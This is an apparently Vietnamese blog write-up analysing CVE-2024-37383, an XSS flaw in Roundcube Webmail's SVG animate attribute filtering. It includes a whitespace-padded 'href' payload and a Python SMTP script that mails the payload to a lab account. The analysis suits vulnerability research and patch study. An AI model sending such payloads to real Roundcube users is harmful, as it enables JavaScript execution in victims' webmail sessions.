+1

Roudncube XSS qua thuộc tính SVG

0. Bla bla

  • Dạo gần đây mình muốn tìm hiểu thêm các kiến thức về lỗ hổng phía client-side, bypass WAF và filter. Vô tình thấy Roundcube phát hành bản vá mới cho một lỗi XSS, tìm hiểu thêm thì thấy source code của Roundcube tương đối nhỏ gọn và được sử dụng rất rộng rãi nên mình đã dành thời gian để nghiên cứu thêm về các bug của Roundcube :vv
  • Sau đây là phân tích về CVE-2024-37383 của mình

I. Tổng quan CVE-2024-37383

  • Roundcube Webmail trước 1.5.7 và 1.6.x trước 1.6.7 cho phép XSS thông qua các thuộc tính SVG animate.

  • Thông tin CVE:

    • Ngày cống bố: 06/07/2024

    • Điểm CVSS: Chưa xác định

  • Cách tiếp cận của mình khi phân tích lỗ hổng là diff bản vá, với Roundcube là opensource nên mình sẽ đọc commit trên github luôn :v

II. Phân tích

image-20240713105828027.png

1. Đánh giá thông tin từ commit và mô tả về lỗ hổng

  • Thông tin sơ bộ từ commint bản vá lỗ hổng cho thấy:

    • Chỉ có duy nhất dòng 544 trong program/lib/Roundcube/rcube_washtml.php bị thay đổi => Rất thuận lợi vì chỉ cần tập trung đưa untrusted data đến chỗ này
    • Bản vá chỉ đơn giản là thêm hàm trim() để xử lý biến $attr->nodeValue => Rất có thể payload sẽ liên quan đến các ký tự được hàm trim() xử lý như: white space, NULL, tab, new line,...
  • Từ mô tả của NVD - CVE-2024-37383 (nist.gov) => Lỗ hổng XSS liên quan đến thuộc tính SVG animate

2. Phân tích chức năng của các file liên quan và vị trí Untrusted data

  • Chức năng của program/lib/Roundcube/rcube_washtml.php: rcube_washtml.php đảm bảo rằng nội dung HTML được hiển thị bởi Roundcube là an toàn, bằng cách xử lý nội dung HTML để loại bỏ hoặc vô hiệu hóa các thành phần, thuộc tính và giá trị có hại có thể dẫn đến các lỗ hổng bảo mật XSS và các lỗ hổng khác.

  • Từ đây có thể suy ra được Untrusted data chính là toàn bộ nội dung email. Roundcube cho phép gửi và xử lý email có nội dung HTML để hiển thị cho người dùng

  • Trong commit của bản vá thì chỉ có duy nhất dòng code thứ 544 được sửa lại, nó thuộc hàm private static function attribute_value($node, $attr_name, $attr_value).

image-20240713110536298.png

  • Hàm attribute_value được sử dụng để kiểm tra xem $node có thuộc tính $attr_name chứa giá trị $attr_value hay không. Nó trả về true nếu thuộc tính được chỉ định tồn tại trên element và có giá trị mong đợi.

    • $node: Với nội dung email là HTML, thì $node là một element trong DOM Tree đó
  • Hàm attribute_value chỉ được gọi duy nhất một lần, tại hàm private function dumpHtml($node, $level = 20) dòng số 603:

image-20240713111642556.png

  • Chặn một số thẻ liên quan đến SVG có thể không an toàn do các thuộc tính như href.

  • Nhiệm vụ của hàm dumpHtml: Hàm dumpHtml là một phương pháp đệ quy được thiết kế để lọc và xử lý nội dung HTML bằng cách lặp qua DOM node tree. Mục đích chính của nó là chỉ xuất ra các thẻ HTML được phép với các thuộc tính và inline styles được phép.

  • Do chúng ta cần tới được dòng 603, vì vậy phải đi được vào case XML_ELEMENT_NODE: => Mail body phải có dạng XML. Ví dụ:

    <profile>
      John Doe
      <email>john.doe@example.com</email>
      <phone>123-456-7890</phone>
    </profile>
    
  • Nếu ở dòng 603, cả 2 điều kiện in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) && self::attribute_value($node, 'attributename', 'href') đều là true thì sẽ được xác định là Insecure svg tags => break

2. Phân tích codeflow của lỗ hổng

  • Đặt breackpoint ở đầu hàm dumpHtml (dòng 564) và thử với payload có thẻ svg xem có hit được brackpoint không

    <svg>
        TEST 1
    </svg>
    
  • Với payload như trên thì breakpoint ở dòng 564 của hàm dempHtml đã được hit và ta có call stack như sau:

image-20240713172209045.png

  • webmail/index.php: đóng vai trò là điểm đầu vào để xử lý các request của người dùng, khởi tạo ứng dụng, quản lý session và định tuyến các action dựa trên input. Với /webmail/?_task=mail&_extwin=1&_uid=10&_mbox=INBOX&_action=show nên sẽ code trong show.php sẽ được gọi tương ứng với _action=show

  • webmail/program/include/rcmail.php: lớp rcmail đóng vai trò là cốt lõi của ứng dụng Roundcube, điều phối quá trình khởi tạo, xử lý task/action, quản lý người dùng và hệ thống plugin

    • Hàm public function action_handler(): xử lý các request đã được xác thực của người dùng, hướng chúng đến các handler thích hợp dựa trên task và action.

    • Dòng 245-248 sẽ khởi tạo đối tượng của lớp rcmail_action_mail_index, đối tượng này đóng vai trò như là controller để hiển mail inbox, xử lý danh sách mail và quản lý tương tác của người dùng với mail của họ. Nó hỗ trợ các hoạt động như refresh, preview, print, expunge (xóa thư đã xóa khỏi thư mục), purge(xóa tất cả thư khỏi thư mục), quản lý file đính kèm (upload, delete, rename, display),...

image-20240713221815571.png

  • Từ dòng 276, với action là show thì sẽ khởi tạo đối tượng của class rcmail_action_mail_show và gọi đến hàm run()

image-20240714012336199.png

  • webmail/program/actions/mail/show.php: với các tham số trong URL là _task=mail&_action=show tương ứng với folder mail và file show.php thì ta có thể suy ra được các file .php xử được xử lý tương ứng với các parameter trong URL như sau: webmail/program/actions/{_task}/{_action}.php

    • Nhiệm vụ chính của show.php là hiển thị nội dung email bao gồm việc xử lý đọc khả năng của trình duyệt (_cap param), tìm nạp và xử lý email dựa trên _uid, xử lý các định dạng email (HTML hoặc plain text), quản lý tệp đính kèm và đặt các biến môi trường khác nhau.
    • Hàm run(): chịu trách nhiệm xử lý và hiển thị nội dung email, xử lý preferences của người dùng đối với định dạng mail
    • Tại dòng 164, sau khi đã khởi tạo xong các config, env, handler thì ứng dụng bắt đầu quá trình gửi output về cho người dùng
  • Hàm message_body trong webmail/program/actions/mail/show.php: xử lý để hiển thị nội dung email trong giao diện webmail. Dòng 738 sẽ gọi hàm print_body với tham số $body là nội dung email

image-20240714020906415.png

  • Hàm message_body này chuyển đổi nội dung XML trong email thành HTML được định dạng chính xác để hiển thị trong chế độ xem email. Ví dụ với nội dung trong email là

    <profile>
      John Doe
      <email>john.doe@example.com</email>
      <phone>123-456-7890</phone>
    </profile>
    

    Thì sẽ đươc hiển thị ra giao diện như sau:

image-20240714020708427.png

  • Hàm print_body sẽ gọi đến hàm wash_html, như tên gọi thì hàm này có thể làm sẽ làm sạch nội dung HTML trước khi hiển thị cho người dùng

image-20240714021551581.png

  • Tại dòng 981 thì hàm wash_html gọi đến hàm wash($html) nhưng tham số truyền vào hàm đã khác so với nội dung mail ban đầu của chúng ta, nội dung ban đầu là:

    <svg>
        TEST 1
    </svg>
    

    Tham số $html là:

image-20240714022036668.png

  • Dòng 717 tại hàm wash($html) sẽ gọi đến hàm dumpHtml($node) => nơi chúng ta cần đến

=> Từ đây có thể hiểu là nếu nội dung trong mail có định dạng các thẻ như dạng XML thì Roundcube sẽ hiển thị ra giao diện dưới dạng là HTML theo như luồng code trên và cuối cùng sẽ gọi đến hàm dumpHtml để lấy ra các element trong DOM

3. Phân tích hàm wash($html) và dumpHtml($node, $level = 20)

3.1. Hàm wash($html)

  • Với nội dung email là:

    <svg>
        TEST 1
    </svg>
    

    thì tham số $html được truyền vào trong hàm wash sẽ là

    <html><head><meta charset="UTF-8" /></head>
    <svg>
        TEST 1
    </svg>
    

    => Thêm các thẻ html, head và meta

  • Cần chú ý hàm $this->cleanup($html) được gọi, nhưng với payload hiện tại thì $html không bị thay đổi gì. Tại dòng 702 đã phân tích chuỗi HTML thành DOM tree và sau đó truyền DOM này vào hàm dumpHtml($node)

image-20240714024246536.png

3.2. Hàm dumpHtml($node, $level = 20)

  • Hàm dumpHtml được thiết kế để lọc và xử lý nội dung HTML bằng cách duyệt đệ quy DOM tree. Nó xuất ra có chọn lọc nội dung HTML bằng cách chỉ cho phép các tags, attributes và inline styles cụ thể.

  • Theo như commit thì bản vá của lỗi này cho sửa duy nhất 1 dòng code trong hàm attribute_value, tại dòng 603 trong hàm dumpHtml có gọi đến attribute_value -> đặt breakpoint ở hàm này

image-20240714030917652.png

image-20240714030815589.png

  • Nhưng để đến được hàm attribute_value thì điều kiện in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) phải là True => trong nội dung mail phải có 1 trong 4 thẻ đó

  • Với lệnh gọi hàm self::attribute_value($node, 'attributename', 'href') thì 2 đối số 'attributename''href' đã được gán cố định, chỉ có $node là untrusted data. Mục đích của hàm này là để kiểm tra xem một phần tử DOM nhất định ($node) có thuộc tính ($attr_name) với một giá trị cụ thể ($attr_value) hay không. Từ đó có thể hiểu được lệnh gọi hàm self::attribute_value($node, 'attributename', 'href') là kiểm tra xem trong $node có thuộc tính 'attributename' không? và giá trị của thuộc tính 'attributename' có là 'href' không? nếu thỏa mãn cả 2 điều kiện, thì sẽ return true.

  • Vì vậy thử payload sau để hit breakpoint trong hàm attribute_value

    <animate attributeName="href" values="xxxxxxxx"/>
    
  • Kết quả hiện thị trong giao diện là:

image-20240716000204677.png

  • Vì lúc này 2 điều kiện in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) && self::attribute_value($node, 'attributename', 'href') đều thỏa mãn.

image-20240716000357930.png

=> Vậy có thể đoán được là cần phải làm cho 1 trong 2 điều kiện kia là false để không bị break ở dòng 607

  • Để ý thấy bản vá chỉ thêm duy nhất hàm trim() kết hợp với description của CVE-2024-37383

image-20240713105828027.png

image-20240716000834269.png

=> Payload có thể là sử dụng thuộc tính của thẻ SVG animate để kích hoạt XSS và trong payload sẽ có ký tự mà bị hàm trim() xử lý (đơn giản nhất là kỹ tự khoảng trắng)

  • Nếu chỉ cần không bị break ở dòng 607, thì mình có thể copy mấy payload SVG XSS để nó thỏa mã, ví dụ là <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>

image-20240716000357930.png

  • Với payload này thì ngay điều kiện in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'] đã không thỏa mãn nên sẽ không bị xác đinh là Insecure svg tags => Ngonnnn :v

  • Nhưng hàm dumpHtml() nó filter XSS rất mạnh, đặc biệt là gọi hàm wash_attribs để loại bỏ tất cả các thuộc tính không an toàn, nên vì vậy với payload trên thì kết quả trả nhận được chỉ là <svg></svg>

image-20240716003308767.png

image-20240716003406956.png

4. Xây dụng payload

image-20240716003308767.png

  • Thử luôn payload <svg><a><animate attributeName="href" values="javascript:alert(1)"/><text x="100" y="100">Click Me</text></a></svg> nhưng hãy thay attributeName="href" thành attributeName=" href " (thêm mấy khoảng trắng trước và sau href). Tham khảo từ Reflected XSS with event handlers and href attributes blocked - HackMD

    <svg><a><animate attributeName="   href   " values="javascript:alert(1)"/><text x="100" y="100">CLICK MEEE</text></a></svg>
    

image-20240718152159762.png

=> Xong :vv

  • Mình cần phân tích thêm tại sao khoảng trắng trước và sau href lại được loại bỏ để dẫn tới XSS được

image-20240716004807876.png

  • Tại hàm attribute_value với strtolower($attr->nodeValue) bằng " href " nên hàm này sẽ trả về giá trị false nên ở dòng 603 sẽ không bị Insecure svg tags

image-20240716005228005.png

image-20240716005320660.png

  • Tiếp tục đi vào hàm wash_attribs

image-20240716005604395.png

  • Trong hàm wash_attribs tại dòng 327 đã gọi hàm trim() để loại bỏ ký tự khoảng trắng, vì vậy payload XSS được kích hoạt

image-20240716005713701.png

III. Tổng kết

  • POC script python:

    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    
    # Email configuration
    sender_email = "admin@newbie2k4.lab"
    receiver_email = "rc166@newbie2k4.lab"
    password = "newbie2k4pw"
    
    # Create a multipart message
    message = MIMEMultipart()
    message["From"] = sender_email
    message["To"] = receiver_email
    message["Subject"] = "POC-Newbie2k4.CVE-2024-37383"
    
    html_body = """
    <svg><animate attributeName="   href   " values="javascript:alert('Newbie2k4')"/><text x="100" y="100">CLICK MEEE</text></svg>
    """
    
    message.attach(MIMEText(html_body, "html"))
    
    # Send the email
    try:
        server = smtplib.SMTP("localhost", 587)
        server.starttls()
        server.login(sender_email, password)
        text = message.as_string()
        server.sendmail(sender_email, receiver_email, text)
        print("[+] Email sent successfully!!")
    except Exception as e:
        print("[-] Sending email failed, an error occurred@@", str(e))
    finally:
        server.quit()
    
  • Lỗ hổng chỉ cần 1 click từ người dùng để thực mã javascript trên máy tính nạn nhân

  • Lỗi trên xảy ra do chưa nhất quán được thời điểm dữ liệu được xử lý và thời điểm dữ liệu được sử dụng, khi mà thời điểm kiểm tra dữ liệu ở hàm attribute_value nhưng không được sử dụng ngay lập tức mà phải qua tiếp một bước xử lý ở hàm wash_attribs thì mới được trả lại cho người dùng, từ đó tạo ra khe hở.

  • Roundcube webmail là chương trình gửi, nhận mail phổ biến và dễ dàng sử dụng nhất hiện nay. Roundcube có giao diện đơn giản, dễ sử dụng, thân thiện với người dùng, dễ dàng cài đặt và có tính bảo mật rất cao, vì vậy nó được triển khai trong rất nhiều tổ chức.

IV. Tài liệu tham khảo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí